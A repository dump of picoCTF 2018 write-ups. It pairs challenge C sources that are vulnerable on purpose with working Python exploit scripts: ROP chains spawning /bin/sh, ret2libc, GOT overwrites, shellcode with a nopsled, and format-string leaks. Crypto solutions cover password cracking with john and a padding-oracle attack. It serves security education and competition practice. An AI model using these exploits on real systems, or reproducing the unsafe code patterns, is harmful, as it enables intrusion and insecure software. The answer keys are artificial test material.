setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges int i; gid_t gid = getegid(); setresgid(gid, gid, gid); read_canary(); vuln(); return 0; } ================================================ FILE: Binary Exploitation/can-you-gets-me/README.md ================================================ # can-you-gets-me Points: 650 ## Category Binary Exploitation ## Question >Can you exploit the following [program](files/gets) to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d on the shell server. [Source](files/gets.c). ### Hint >This is a classic gets ROP ## Solution First, find out the padding required for the buffer overflow. Then, use a rop chain to get the flag. ROP chain generated by [ROPgadget](https://github.com/JonathanSalwan/ROPgadget). Working solution [solve.py](solution/solve.py). ### Flag `picoCTF{rOp_yOuR_wAY_tO_AnTHinG_700e9c8e}` ================================================ FILE: Binary Exploitation/can-you-gets-me/files/gets.c ================================================ #include #include #include #include #include #define BUFSIZE 16 void vuln() { char buf[16]; printf("GIVE ME YOUR NAME!\n"); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); } ================================================ FILE: Binary Exploitation/can-you-gets-me/solution/solve.py ================================================ #!/usr/bin/python from pwn import * USER = 'Platy' # Change username accordingly. padding = 'A' * 28 # execve generated by ROPgadget rop_gadgets = p32(0x0806f02a) # porop_gadgets edx ; ret rop_gadgets += p32(0x080ea060) # @ .data rop_gadgets += p32(0x080b81c6) # porop_gadgets eax ; ret rop_gadgets += '/bin' rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret rop_gadgets += p32(0x080ea064) # @ .data + 4 rop_gadgets += p32(0x080b81c6) # porop_gadgets eax ; ret rop_gadgets += '//sh' rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret rop_gadgets += p32(0x080ea068) # @ .data + 8 rop_gadgets += p32(0x08049303) # xor eax, eax ; ret rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret rop_gadgets += p32(0x080481c9) # porop_gadgets ebx ; ret rop_gadgets += p32(0x080ea060) # @ .data rop_gadgets += p32(0x080de955) # porop_gadgets ecx ; ret rop_gadgets += p32(0x080ea068) # @ .data + 8 rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret rop_gadgets += p32(0x080ea068) # @ .data + 8 rop_gadgets += p32(0x08049303) # xor eax, eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0807a86f) # inc eax ; ret rop_gadgets += p32(0x0806cc25) # int 0x80 exploit = padding + rop_gadgets s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first py = s.run('cd /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d; ./gets') print py.recv() py.sendline(exploit) py.sendline('cat flag.txt') print py.recv() py.interactive() ================================================ FILE: Binary Exploitation/echo back/README.md ================================================ # echo back Points: 500 ## Category Binary Exploitation ## Question This [program](files/echoback) we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with `nc 2018shell1.picoctf.com 22462`. ### Hint >hmm, printf seems to be dangerous... > >You may need to modify more than one address at once. > >Ever heard of the Global Offset Table? ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Binary Exploitation/echo back/solution/solve.py ================================================ #!/usr/bin/python from pwn import * context.log_level = 'error' echoback = ELF('./echoback') puts_got_addr = echoback.got['puts'] system_got_addr = p32(echoback.got['system']) payload = '%59348x%8$n' payload += '%4095x%9$n' print "sh;#" + p32(puts_got_addr) + p32(puts_got_addr + 2) + payload # 0x804a020 # 0xf7e0e7e0 ================================================ FILE: Binary Exploitation/echooo/README.md ================================================ # echooo Points: 300 ## Category Binary Exploitation ## Question >This program prints any input you give it. Can you [leak](files/echo) the flag? Connect with `nc 2018shell1.picoctf.com 46960`. [Source](files/echo.c). ### Hint >If only the program used puts... ## Solution A simple format string exploit. Looking at the source code, we see that the flag is stored in the stack. All we have to do is to leak values from the stack to get the flag. Doing some testing locally, we see that the flag starts at _%29$x_. This format simply takes the 29th argument and print it out as hex. Since the buffer only accepts 64 bytes, we have to stagger the inputs. ``` $ python solve.py [+] Opening connection to 2018shell1.picoctf.com on port 46960: Done Time to learn about Format Strings! We will evaluate any format string you give us with printf(). See if you can get the flag! > %27$x %28$x %29$x %30$x %31$x %32$x %33$x %34$x %35$x %36$x [*] Flag Part 1: 6f636970 7b465443 6d526f66 735f7434 6e695274 615f7347 445f6552 65476e61 73753072 6237615f > %37$x %38$x %39$x %40$x %41$x [*] Flag Part 2: 32613463 a7d64 80487ab 1 ffe42d84 [+] Flag: picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d} [*] Closed connection to 2018shell1.picoctf.com port 46960 ``` Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}` ================================================ FILE: Binary Exploitation/echooo/files/echo.c ================================================ #include #include #include #include #include int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; char flag[64]; char *flag_ptr = flag; // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); memset(buf, 0, sizeof(flag)); memset(buf, 0, sizeof(buf)); puts("Time to learn about Format Strings!"); puts("We will evaluate any format string you give us with printf()."); puts("See if you can get the flag!"); FILE *file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); while(1) { printf("> "); fgets(buf, sizeof(buf), stdin); printf(buf); } return 0; } ================================================ FILE: Binary Exploitation/echooo/solution/solve.py ================================================ #!/usr/bin/python from pwn import * import re encFlag = '' s = remote('2018shell1.picoctf.com', 46960) stage1 = ' '.join(['%{}$x'.format(i) for i in range(27, 37)]) print s.recvuntil('>'), stage1 s.sendline(stage1) flag1 = s.recvuntil('\n').strip() log.info('Flag Part 1: {}'.format(flag1)) stage2 = ' '.join(['%{}$x'.format(i) for i in range(37, 42)]) print '>', stage2 s.sendline(stage2) flag2 = s.recvuntil('\n').replace('>', '').strip() log.info('Flag Part 2: {}'.format(flag2)) encFlag = flag1 + ' ' + flag2 flag = '' for i in encFlag.split(' '): flag += p32(int(i, 16)) log.success('Flag: ' + re.findall(r'(picoCTF\{.+\})', flag)[0]) ================================================ FILE: Binary Exploitation/got-2-learn-libc/README.md ================================================ # got-2-learn-libc Points: 250 ## Category Binary Exploitation ## Question >This program gives you the address of some system calls. Can you get a shell? You can find the [program](files/vuln) in /problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33 on the shell server. [Source](files/vuln.c). ### Hint >try returning to systems calls to leak information > >don't forget you can always return back to main(). ## Solution Working solution [solve.py](solution/solve.py) Thanks to [@LFlare](https://github.com/LFlare) for making the code compatible with ASLR ### Flag `picoCTF{syc4al1s_4rE_uS3fUl_6319ec91}` ================================================ FILE: Binary Exploitation/got-2-learn-libc/files/vuln.c ================================================ #include #include #include #include #include #define BUFSIZE 148 #define FLAGSIZE 128 char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */ void vuln(){ char buf[BUFSIZE]; puts("Enter a string:"); gets(buf); puts(buf); puts("Thanks! Exiting now..."); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Here are some useful addresses:\n"); printf("puts: %p\n", puts); printf("fflush %p\n", fflush); printf("read: %p\n", read); printf("write: %p\n", write); printf("useful_string: %p\n", useful_string); printf("\n"); vuln(); return 0; } ================================================ FILE: Binary Exploitation/got-2-learn-libc/solution/solve.py ================================================ #!/usr/bin/python from pwn import * import os.path USER = 'Platy' # Change username accordingly. s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first if not os.path.isfile('./libc.so.6'): s.get('/lib32/libc.so.6') # Set contexts context(arch='i386', os='linux') # Load libraries libc = ELF("./libc.so.6") libc_read_addr = libc.symbols['read'] libc_system_addr = libc.symbols['system'] libc_exit_addr = libc.symbols['exit'] py = s.run("cd /problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33; ./vuln") py.recvuntil('\n\n') py.recvuntil(': ') puts_addr = int(py.readline(), 16) py.readuntil(' ') fflush_addr = int(py.readline(), 16) py.readuntil(': ') read_addr = int(py.readline(), 16) py.readuntil(': ') write_addr = int(py.readline(), 16) py.readuntil(': ') binsh_addr = int(py.readline(), 16) log.info("/bin/sh: {}".format(hex(binsh_addr))) # Calculate offset libc_offset = read_addr - libc_read_addr # Calculate libc offsets system_addr = libc_system_addr + libc_offset log.info("SYSTEM: {}".format(hex(system_addr))) exit_addr = libc_exit_addr + libc_offset log.info("EXIT: {}".format(hex(exit_addr))) # Build payload padding = "A" * 160 exploit = padding + p32(system_addr) + p32(exit_addr) + p32(binsh_addr) py.sendline(exploit) py.sendline('echo; cat flag.txt; echo') py.interactive() # Close process py.close() ================================================ FILE: Binary Exploitation/got-shell?/README.md ================================================ # got-shell? Points: 350 ## Category Binary Exploitation ## Question >Can you authenticate to this [service](files/auth) and get the flag? Connect to it with `nc 2018shell1.picoctf.com 54664`. [Source](files/auth.c) ### Hint >Ever heard of the Global Offset Table? ## Solution Overwrite the Global Offset Table to the address of the win function. Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_150b198c}` ================================================ FILE: Binary Exploitation/got-shell?/files/auth.c ================================================ #include #include #include #include #include void win() { system("/bin/sh"); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); char buf[256]; unsigned int address; unsigned int value; puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?"); scanf("%x", &address); sprintf(buf, "Okay, now what value would you like to write to 0x%x", address); puts(buf); scanf("%x", &value); sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address); puts(buf); *(unsigned int *)address = value; puts("Okay, exiting now...\n"); exit(1); } ================================================ FILE: Binary Exploitation/got-shell?/solution/solve.py ================================================ #!/usr/bin/python from pwn import * from time import sleep auth = ELF('./auth') got = str(hex(auth.got['exit'])) win_func = str(hex(auth.symbols['win'])) log.info('Global Offset: {}'.format(got)) log.info('Win Function: {}'.format(win_func)) s = remote('2018shell1.picoctf.com', 54664) print s.recv() print got s.sendline(got) sleep(1) print s.recv() s.sendline(win_func) s.sendline('cat flag.txt') s.interactive() s.close() ================================================ FILE: Binary Exploitation/gps/README.md ================================================ # gps Points: 550 ## Category Binary Exploitation ## Question >You got really lost in the wilderness, with nothing but your trusty [gps](files/gps). Can you find your way back to a shell and get the flag? Connect with `nc 2018shell1.picoctf.com 21755`. ([Source](files/gps.c)). ### Hint >Can you make your shellcode randomization-resistant? ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Binary Exploitation/gps/files/gps.c ================================================ #include #include #include #include #define GPS_ACCURACY 1337 typedef void (fn_t)(void); void initialize() { printf("GPS Initializing"); for (int i = 0; i < 10; ++i) { usleep(300000); printf("."); } printf("Done\n"); } void acquire_satellites() { printf("Acquiring satellites."); for (int i = 0; i < 3; ++i) { printf("Satellite %d", i); for (int j = 0; j < rand() % 10; ++j) { usleep(133700); printf("."); } if (i != 3) { printf("Done\n"); } else { printf("Weak signal.\n"); } } printf("\nGPS Initialized.\n"); printf("Warning: Weak signal causing low measurement accuracy\n\n"); } void *query_position() { char stk; int offset = rand() % GPS_ACCURACY - (GPS_ACCURACY / 2); void *ret = &stk + offset; return ret; } int main() { setbuf(stdout, NULL); char buffer[0x1000]; srand((unsigned) (uintptr_t) buffer); initialize(); acquire_satellites(); printf("We need to access flag.txt.\nCurrent position: %p\n", query_position()); printf("What's your plan?\n> "); fgets(buffer, sizeof(buffer), stdin); fn_t *location; printf("Where do we start?\n> "); scanf("%p", (void**) &location); location(); return 0; } ================================================ FILE: Binary Exploitation/leak-me/README.md ================================================ # leak-me Points: 200 ## Category Binary Exploitation ## Question >Can you authenticate to this [service](files/auth) and get the flag? Connect with `nc 2018shell1.picoctf.com 31045`. [Source](files/auth.c). ### Hint >Are all the system calls being used safely? > >Some people can have reallllllly long names you know.. ## Solution By spamming the service with multiple characters, the password from _password.txt_ gets leaked. ``` $ python -c "print 'A' * 300" | nc 2018shell1.picoctf.com 31045 What is your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_d98e8d Incorrect Password! ``` Now we can enter in a name and the password obtained. ``` $ nc 2018shell1.picoctf.com 31045 What is your name? Platy Hello Platy, Please Enter the Password. a_reAllY_s3cuRe_p4s$word_d98e8d picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_d1667872} ``` Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_d1667872}` ================================================ FILE: Binary Exploitation/leak-me/files/auth.c ================================================ #include #include #include #include #include int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; } strcat(name, ",\nPlease Enter the Password."); file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(password, sizeof(password), file); printf("Hello "); puts(name); fgets(password_input, sizeof(password_input), stdin); password_input[sizeof(password_input)] = '\x00'; if (!strcmp(password_input, password)) { flag(); } else { printf("Incorrect Password!\n"); } return 0; } ================================================ FILE: Binary Exploitation/leak-me/solution/solve.py ================================================ from pwn import * import re import time s = remote('2018shell1.picoctf.com', 31045) print s.recv() s.sendline('A' * 500) time.sleep(0.5) pwd = s.recv() print pwd pwd = re.findall(r'A+,(.+)', pwd)[0].strip() s.close() s = remote('2018shell1.picoctf.com', 31045) print s.recv() s.sendline('Platy') print s.recv() s.sendline(pwd) time.sleep(0.5) print s.recv() s.close() ================================================ FILE: Binary Exploitation/rop chain/README.md ================================================ # rop chain Points: 350 ## Category Binary Exploitation ## Question >Can you exploit the following [program](files/rop) and get the flag? You can findi the program in /problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d on the shell server? [Source](files/rop.c). ### Hint >Try and call the functions in the correct order! > >Remember, you can always call main() again! ## Solution First we analyse the steps required to get the flag. It looks like we have to go to the _flag_ function to get the flag. But a few criterias must be met first. _win1_, _win2_ and _arg_check2_ must be set to the correct values to print the flag. There is _win_function1_ and _win_function2_ which will allow us to set these values. At the vuln function, it calls gets, which is known for it's issues with buffer overflow exploits. We use the De Brujin sequence and calculate the offset needed. In this case, it's 28 characters. Now, we get the addresses of both win functions and the flag function. ```asm [0x080484d0]> s @ sym.win_function1 0x80485cb [0x080484d0]> s @ sym.win_function2 0x80485d8 [0x080484d0]> s @ sym.flag 0x804862b ``` Since _win_function2_ and _flag_ functions both required arguments, we need a ROP gadget that pops and returns. Popping allows us to insert our own arguments inside. Then the addresses of the next function can be written, so when the program runs return, it jumps to our desired function. To get such a gadget, we can use radare2. ```asm [0x080484d0]> /R pop; ret; ... ... 0x08048804 c408 les ecx, [eax] 0x08048806 5b pop ebx 0x08048807 c3 ret ``` We can select _0x08048806_ as our address. It does not matter which register the value from the stack is popped to. Now we just chain the address and get the flag. `exploit = padding + win1_addr + win2_addr + pop_ret_gadget + arg_check1 + flag_addr + pop_ret_gadget + arg_check2` Working solution [solve.py](solution/solve.py) Recommended reads: http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html#fn-7 ### Flag `picoCTF{rOp_aInT_5o_h4Rd_R1gHt_536d67d1}` ================================================ FILE: Binary Exploitation/rop chain/files/exp ================================================ AAAAAAAAAAAAAAAAAAAAAAAAAAAA˅؅+ ================================================ FILE: Binary Exploitation/rop chain/files/flag.txt ================================================ DID IT! ================================================ FILE: Binary Exploitation/rop chain/files/rop.c ================================================ #include #include #include #include #include #include #define BUFSIZE 16 bool win1 = false; bool win2 = false; void win_function1() { win1 = true; } void win_function2(unsigned int arg_check1) { if (win1 && arg_check1 == 0xBAAAAAAD) { win2 = true; } else if (win1) { printf("Wrong Argument. Try Again.\n"); } else { printf("Nope. Try a little bit harder.\n"); } } void flag(unsigned int arg_check2) { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && arg_check2 == 0xDEADBAAD) { printf("%s", flag); return; } else if (win1 && win2) { printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n"); } else if (win1 || win2) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } } void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); } ================================================ FILE: Binary Exploitation/rop chain/solution/solve.py ================================================ #!/usr/bin/python from pwn import * USER = 'Platy' # Change username accordingly. padding = 'A' * 28 win1_addr = p32(0x80485cb) win2_addr = p32(0x80485d8) flag_addr = p32(0x804862b) pop_ret_gadget = p32(0x08048806) arg_check1 = p32(0xBAAAAAAD) arg_check2 = p32(0xDEADBAAD) exploit = padding + win1_addr + win2_addr + pop_ret_gadget + arg_check1 + flag_addr + pop_ret_gadget + arg_check2 s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first py = s.run('cd /problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d; ./rop') print py.recv() py.sendline(exploit) print py.recv() ================================================ FILE: Binary Exploitation/shellcode/README.md ================================================ # shellcode Points: 200 ## Category Binary Exploitation ## Question >This [program](files/vuln) executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed on the shell server. [Source](files/vuln.c). ### Hint >Maybe try writing some shellcode? > >You also might be able to find some good shellcode online. ## Solution Run [solve.py](solution/solve.py) ### Flag `picoCTF{shellc0de_w00h00_9ee0edd0}` ================================================ FILE: Binary Exploitation/shellcode/files/exploit ================================================ 1Ph//shh/bin° ̀1@̀, ================================================ FILE: Binary Exploitation/shellcode/files/vuln.c ================================================ #include #include #include #include #include #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); return 0; } ================================================ FILE: Binary Exploitation/shellcode/solution/solve.py ================================================ #!/usr/bin/python from pwn import * PADDING = 164 payload = asm(shellcraft.sh()) nopsled = '\x90' * (PADDING - len(payload)) stackAddr = p32(0xffffd22c) exploit = nopsled + payload + stackAddr s = ssh(host='2018shell1.picoctf.com', user='Platy') py = s.run('cd /problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed; ./vuln') print py.recv() py.sendline(exploit) py.sendline('cat flag.txt') py.interactive() s.close() ================================================ FILE: Cryptography/Crypto Warmup 1/README.md ================================================ # Crypto Warmup 1 Points: 75 ## Category Cryptography ## Question >Crpyto can often be done by hand, here's a message you got from a friend, `llkjmlmpadkkc` with the key of `thisisalilkey`. Can you use this [table](files/table.txt) to solve it?. ### Hint >Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{HELLO}' as the flag. > >Please use all caps for the message. ## Solution This uses a Vigenère Cipher. Online tool: https://planetcalc.com/2468/ 1. Set Transformation to _Decrypt_ 2. Set Key to _thisisalilkey_ 3. Set Text to _llkjmlmpadkkc_ 4. Click _CALCULATE_ Transformed text is _secretmessage_ ### Flag `picoCTF{SECRETMESSAGE}` ================================================ FILE: Cryptography/Crypto Warmup 1/files/table.txt ================================================ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z +---------------------------------------------------- A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y ================================================ FILE: Cryptography/Crypto Warmup 2/README.md ================================================ # Crypto Warmup 2 Points: 75 ## Category Cryptography ## Question >Cryptography doesn't have to be complicated, have you ever heard of something called rot13? `cvpbPGS{guvf_vf_pelcgb!}` ### Hint >This can be solved online if you don't want to do it by hand! ## Solution This uses a ROT13 Cipher. Online tool: https://www.rot13.com/ Set input to _cvpbPGS{guvf_vf_pelcgb!}_ Output will be _picoCTF{this_is_crypto!}_ ### Flag `picoCTF{this_is_crypto!}` ================================================ FILE: Cryptography/HEEEEEEERE'S Johnny!/README.md ================================================ # HEEEEEEERE'S Johnny! Points: 100 ## Category Cryptography ## Question >Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with `nc 2018shell1.picoctf.com 5221`. Files can be found here: [passwd](files/passwd) [shadow](files/shadow). ### Hint >If at first you don't succeed, try, try again. And again. And again. > >If you're not careful these kind of problems can really "rockyou". ## Solution Do `john --wordlist=rockyou.txt shadow` The file _rockyou.txt_ can be found from _/usr/share/wordlists/rockyou.txt.gz_. Extract the file by doing `gzip -d rockyou.txt.gz` Connect to service and enter in credentials to get the flag. ``` $ nc 2018shell1.picoctf.com 5221 Username: root Password: thematrix picoCTF{J0hn_1$_R1pp3d_289677b5} ``` ### Flag `picoCTF{J0hn_1$_R1pp3d_289677b5}` ================================================ FILE: Cryptography/HEEEEEEERE'S Johnny!/files/passwd ================================================ root:x:0:0:root:/root:/bin/bash ================================================ FILE: Cryptography/HEEEEEEERE'S Johnny!/files/shadow ================================================ root:$6$LcvKHioa$67O1HA8Ti.KHeNbD4rE79ZMl1RbiCw4V7eM.r6AURp2wGnapUpXC.VdVB4WGoS2J5eVKP/1MFeMmXIdveJeOS0:17695:0:99999:7::: ================================================ FILE: Cryptography/James Brahm Returns/README.md ================================================ # James Brahm Returns Points: 700 ## Category Cryptography ## Question >Dr. Xernon has finally approved an update to James Brahm's spy terminal. (Someone finally told them that ECB isn't secure.) Fortunately, CBC mode is safe! Right? Connect with `nc 2018shell1.picoctf.com 15608`. [Source](files/source.py). ### Hint >What killed SSL3? ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Cryptography/James Brahm Returns/files/source.py ================================================ #!/usr/bin/python2 -u from Crypto.Cipher import AES import reuse import random from string import digits import hashlib agent_code = """flag""" key = """key""" def pad(message): if len(message) % 16 == 0: message = message + chr(16)*16 elif len(message) % 16 != 0: message = message + chr(16 - len(message)%16)*(16 - len(message)%16) return message def encrypt(key, plain, IV): cipher = AES.new( key.decode('hex'), AES.MODE_CBC, IV.decode('hex') ) return IV + cipher.encrypt(plain).encode('hex') def decrypt(key, ciphertext, iv): cipher = AES.new(key.decode('hex'), AES.MODE_CBC, iv.decode('hex')) return cipher.decrypt(ciphertext.decode('hex')).encode('hex') def verify_mac(message): h = hashlib.sha1() mac = message[-40:].decode('hex') message = message[:-40].decode('hex') h.update(message) if h.digest() == mac: return True return False def check_padding(message): check_char = ord(message[-2:].decode('hex')) if (check_char < 17) and (check_char > 0): #bud return message[:-check_char*2] else: return False welcome = "Welcome, Agent 006!" print welcome options = """Select an option: Encrypt message (E) Send & verify (S) """ while True: encrypt_or_send = raw_input(options) if "e" in encrypt_or_send.lower(): sitrep = raw_input("Please enter your situation report: ") message = """Agent, Greetings. My situation report is as follows: {0} My agent identifying code is: {1}. Down with the Soviets, 006 """.format( sitrep, agent_code ) PS = raw_input("Anything else? ") h = hashlib.sha1() message = message+PS h.update(message) message = pad(message+ h.digest()) IV = ''.join(random.choice(digits + 'abcdef') for _ in range(32)) print "encrypted: {}".format(encrypt(key, message, IV )) elif "s" in encrypt_or_send.lower(): sitrep = raw_input("Please input the encrypted message: ") iv = sitrep[:32] c = sitrep[32:] if reuse.check(iv): message = decrypt(key, c, iv) message = check_padding(message) if message: if verify_mac(message): print("Successful decryption.") else: print("Ooops! Did not decrypt successfully. Please send again.") else: print("Ooops! Did not decrypt successfully. Please send again.") else: print("Cannot reuse IVs!") ================================================ FILE: Cryptography/Magic Padding Oracle/README.md ================================================ # Magic Padding Oracle Points: 450 ## Category Cryptography ## Question >Can you help us retreive the flag from this crypto service? Connect with `nc 2018shell1.picoctf.com 27533`. We were able to recover some [Source](files/pkcs7.py) Code. ### Hint >Paddding Oracle [Attack](https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth) ## Solution We have to submit the encrypted JSON string with the `"is_admin"` property set to a string called `"true"` and the `"expires"` property changed to a date later than the date the string was submitted. Also take note that the date string has to adhere to the following format: `%Y-%m-%d`. The `"username"` property has to be present but can be of any value. This JSON string: `{"username": "cafebabe!","is_admin": "true","expires": "2020-1-1"}` was accepted. The encrypted JSON string is: `bab23fa6e34b02b1b4279bf85d89e03e4d8fc9cc9dee572b7c40c9c710f27426437ce07b7d4356c9a97dff9840209d50c9b18d4547f557437fe70d5c62f66283590c5cdaf042515720b8879e43de91e4cafebabecafebabecafebabecafebabe` In order to encrypt it without the key, we can use the padding oracle attack to make a decryption oracle. This decryption oracle is able to take in a ciphertext block and output the corresponding decrypted ciphertext block. We are able to do this by submitting 2 ciphertext blocks. The first is the IV, which we will use to brute force the decrypted ciphertext block, and the second is the actual ciphertext block. We try all bytes (`0x00` to `0xff`) on the last byte of the IV until we get a valid padding response (in this case, the server would respond with an error from `json.loads()` because what was being submitted is not a valid JSON string). Because we know the padding bytes (`0x01`, `0x02 0x02`, ... `0x0f 0x0f ... 0x0f`, `0x10 0x10 ... 0x10`), we can continue with the 2nd last byte all the way until the first byte to figure out what the decrypted ciphertext is. By using the decryption oracle, we can encrypt the JSON string by working from the back of the plaintext string (properly padded, split into 16 byte blocks) by setting the last ciphertext block as an arbitrary 16 byte ciphertext block (I used `0xcafebabecafebabecafebabecafebabe`). Then by XOR-ing the decrypted ciphertext block and the last 16 bytes of the plaintext, we can get the previous ciphertext block. We repeatedly can do this all the way from the back until we get to the first ciphertext block (the IV). Then we concatenate the IV and all the ciphertext blocks and submit it to the server, which will decrypt into the JSON string and return the flag. #### Note For some reason the communication with the server is really slow. I am not sure whether it is a limitation of the nclib library, but as a result each 16 byte block takes ~1 hour to decrypt. Hence encrypting the entire JSON string takes around -4 hours because it's 4 blocks long. ### Flag 